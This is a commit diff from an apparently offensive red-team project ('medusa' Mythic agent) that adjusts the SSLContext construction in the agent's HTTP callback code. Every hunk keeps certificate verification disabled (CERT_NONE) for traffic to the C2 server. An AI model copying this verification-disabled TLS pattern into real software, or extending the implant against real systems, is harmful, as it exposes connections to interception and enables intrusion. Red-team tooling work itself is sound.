py7 cert fix

MythicAgents · Aug 16, 2021 · f16eab9 · f16eab9
1 parent 17afc9c
commit f16eab9
Show file tree

Hide file tree

Showing 2 changed files with 4 additions and 8 deletions.
diff --git a/Payload_Type/medusa/agent_code/base_agent/base_agent.py2 b/Payload_Type/medusa/agent_code/base_agent/base_agent.py2
@@ -153,8 +153,7 @@ CRYPTO_HERE
             hdrs[header["name"]] = header["value"]
         req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)
 
-        # To avoid HTTPS cert verification
-        gcontext = ssl.SSLContext()
+        gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
         gcontext.verify_mode = ssl.CERT_NONE
 
         if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
@@ -186,8 +185,7 @@ CRYPTO_HERE
             hdrs[header["name"]] = header["value"]
         req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)
 
-        # To avoid HTTPS cert verification
-        gcontext = ssl.SSLContext()
+        gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
         gcontext.verify_mode = ssl.CERT_NONE
 
         if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:

diff --git a/Payload_Type/medusa/agent_code/base_agent/base_agent.py3 b/Payload_Type/medusa/agent_code/base_agent/base_agent.py3
@@ -152,8 +152,7 @@ CRYPTO_HERE
             hdrs[header["name"]] = header["value"]
         req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), hdrs)
 
-        # To avoid HTTPS cert verification
-        gcontext = ssl.SSLContext()
+        gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
         gcontext.verify_mode = ssl.CERT_NONE
 
         if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
@@ -186,8 +185,7 @@ CRYPTO_HERE
             hdrs[header["name"]] = header["value"]
         req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)
 
-        # To avoid HTTPS cert verification
-        gcontext = ssl.SSLContext()
+        gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
         gcontext.verify_mode = ssl.CERT_NONE
 
         if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]: